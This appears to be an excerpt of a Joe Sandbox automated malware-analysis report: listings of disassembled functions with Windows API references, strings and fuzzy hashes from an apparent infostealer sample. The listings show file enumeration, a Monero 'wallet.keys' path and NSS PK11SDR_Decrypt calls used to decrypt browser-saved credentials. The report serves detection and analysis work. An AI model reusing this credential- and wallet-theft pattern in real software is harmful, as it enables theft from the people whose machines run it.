Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 43aa0d913c33e2a83ffc92c288d45126f1d9acffe7b68ad5ca01f0b58c427207
Instruction ID: 0e20cf0b809eb6f4dc1f7e7fb41569f8772cb9aff48e7902626d0fe42a4fbffd
Opcode Fuzzy Hash: 43aa0d913c33e2a83ffc92c288d45126f1d9acffe7b68ad5ca01f0b58c427207
Instruction Fuzzy Hash: BCA152B1A00218ABDB64DF64DC89FFE7378BF49300F048599E60D96141EB749B84CF62

Function 6C6BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C6BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C6BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C6BE472

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 07666fdb95abeea65de448be75d2845b17df2f4a7965e0ad538a7b64aa7667bc
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 5733AC71E0021A8FCB04CFA8C8806EDBBF2FF49314F288269D955BB755D731A956CB94

Function 6C67ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C67EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C67EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C681695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C681770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C681A3E

Strings

~qel, xrefs: 6C67ED10
~qel, xrefs: 6C67ED13

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qel$~qel
API String ID: 3693777188-2922831641
Opcode ID: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction ID: 8fa18b222c337912a8b1ca23478ce27298b3960ccb6cabc63e13a2ac82a5fafa
Opcode Fuzzy Hash: b0d6fbd152e4c27c75d6ad2b320a4be92d76d63439be627fe0f1e3c33d2acc78
Instruction Fuzzy Hash: 13B33971E01219CFCB24CFA8C890ADDB7B2BF49304F2585A9D459AB745D730AD86CFA4

Function 6C66FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66FF81
LeaveCriticalSection.KERNEL32(6C6DE7B8), ref: 6C67022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C670240
EnterCriticalSection.KERNEL32(6C6DE768), ref: 6C67025B
LeaveCriticalSection.KERNEL32(6C6DE768), ref: 6C67027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66FE99, 6C66FEB7, 6C66FED3, 6C670DB8, 6C670DD3, 6C6719B4
: (malloc) Error in VirtualFree(), xrefs: 6C670D67, 6C670D7B, 6C670DAC
<jemalloc>, xrefs: 6C670D62, 6C670D76, 6C670DA7

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction ID: e8992d00596065b3b005aafba80a9a854203beed125ea67ceae0e362e91cc08c
Opcode Fuzzy Hash: 498597fbc7d55b41ee2c801f08bbf64f5f214a6b7b6fbc0117505a98ef7eea40
Instruction Fuzzy Hash: 01C20271A057418FD724CF28C590756BBE1BF85328F28CA6DE4698B7D5C732E801CBA9

Function 00074570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00074580
RtlAllocateHeap.NTDLL(00000000), ref: 00074587
wsprintfA.USER32 ref: 000745A6
FindFirstFileA.KERNEL32(?,?), ref: 000745BD
StrCmpCA.SHLWAPI(?,00080FC4), ref: 000745EB
StrCmpCA.SHLWAPI(?,00080FC8), ref: 00074601
FindNextFileA.KERNEL32(000000FF,?), ref: 0007468B
FindClose.KERNEL32(000000FF), ref: 000746A0
lstrcat.KERNEL32(?,00D7E3E0), ref: 000746C5
lstrcat.KERNEL32(?,00D7D498), ref: 000746D8
lstrlen.KERNEL32(?), ref: 000746E5
lstrlen.KERNEL32(?), ref: 000746F6

Strings

%s\%s, xrefs: 0007461B
%s\*, xrefs: 0007459A

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 9b5e7d299bc8d2f6465bb1b1ce2b598812720cc340d377bad3aa448a875cd070
Instruction ID: 9010efdca3cfb18de732c0cc62e4c7500806a2b7e9e1dac0e166dc3046b03c43
Opcode Fuzzy Hash: 9b5e7d299bc8d2f6465bb1b1ce2b598812720cc340d377bad3aa448a875cd070
Instruction Fuzzy Hash: 045142B19402189BC764EB70DC89FEE737CAF59700F408598F60D96051EF789A84CF96

Function 0006ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0006ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0006ED55
StrCmpCA.SHLWAPI(?,00081538), ref: 0006EDAB
StrCmpCA.SHLWAPI(?,0008153C), ref: 0006EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0006F2AE
FindClose.KERNEL32(000000FF), ref: 0006F2C3

Strings

%s\*.*, xrefs: 0006ED32

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: dea3d346137ec642c741747b99f8d68fcabdeaa635f60a7445fd9991d7fad961
Instruction ID: eff3047f5c5502263df7f000e1fae37e07dab60394df62c2f965693cc6c7a435
Opcode Fuzzy Hash: dea3d346137ec642c741747b99f8d68fcabdeaa635f60a7445fd9991d7fad961
Instruction Fuzzy Hash: 7BE1D071E111189ADB94FB60DC52EEE7338AF95300F4085A9B51E62093EF346F8ACF56

Function 0006DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00080C2E), ref: 0006DE5E
StrCmpCA.SHLWAPI(?,000814C8), ref: 0006DEAE
StrCmpCA.SHLWAPI(?,000814CC), ref: 0006DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0006E3E0
FindClose.KERNEL32(000000FF), ref: 0006E3F2

Strings

\*.*, xrefs: 0006DE26

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: aef9611afd00d805a0b9a6b1eb98fa231dcc36af7eb01b97a8a6840da9c3aef4
Instruction ID: a15ae99e814c217b9ac9c5d5103bb7458b1872ea985d1c2048011ec26bdc127a
Opcode Fuzzy Hash: aef9611afd00d805a0b9a6b1eb98fa231dcc36af7eb01b97a8a6840da9c3aef4
Instruction Fuzzy Hash: 24F1BE71E101189ADB55FB60DC95EEE7338BF55300F8081DAB11E66092EF346B8ACF66

Function 00435F87 Relevance: 14.1, Strings: 10, Instructions: 1631COMMON

Download Yara Rule

Strings

}Sv, xrefs: 0043733C
o}O, xrefs: 0043647B
C+_, xrefs: 00436DE8
Wzs}, xrefs: 00436B7D
\mv, xrefs: 00436A48
G#=~, xrefs: 00436EF1
\]O, xrefs: 004366DE
90,O, xrefs: 004366D2
rV], xrefs: 00436AF8
OU], xrefs: 0043660E

Memory Dump Source

Source File: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 90,O$C+_$G#=~$OU]$Wzs}$\mv$\]O$o}O$rV]$}Sv
API String ID: 0-3711644402
Opcode ID: 5ddf3840a89f6a3f581266076b06bb4f65a7479367250148bfcc17b36aaaf205
Instruction ID: eddfaa1f4bcbdfa3ec34ee20128dabb1002533d3635635e4581f3379df621ab2
Opcode Fuzzy Hash: 5ddf3840a89f6a3f581266076b06bb4f65a7479367250148bfcc17b36aaaf205
Instruction Fuzzy Hash: 03B219F3A0C2049FE304AE2DEC9567AF7E9EF94320F1A493DE6C5C7744EA3558018696

Function 0006C820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0006C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0006C87C
PK11_GetInternalKeySlot.NSS3 ref: 0006C88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0006C8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0006C8EB
lstrcat.KERNEL32(?,00080B46), ref: 0006C943
lstrcat.KERNEL32(?,00080B47), ref: 0006C957
PK11_FreeSlot.NSS3(?), ref: 0006C961
lstrcat.KERNEL32(?,00080B4E), ref: 0006C978

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: d17878da66ff45a59cdf0e3fe72835dbce5190d52279896214233404dd587707
Instruction ID: 02919da17f8f7eb0b9e24abf0aab5d722dfa89ba9ccce0f7f42bafa5c53dd03b
Opcode Fuzzy Hash: d17878da66ff45a59cdf0e3fe72835dbce5190d52279896214233404dd587707
Instruction Fuzzy Hash: A3414CB590421ADFDB50DFA4DD89FFEB7B8BF48704F1041A8E509A6280DB745A84CFA1

Function 6C6A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6A2C61

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6A2E2D

Part of subcall function 6C6681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6681DE

Strings

(root), xrefs: 6C6A354F
expected a Time entry, xrefs: 6C6A2E36
ProfileBuffer parse error: %s, xrefs: 6C6A2E3B

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
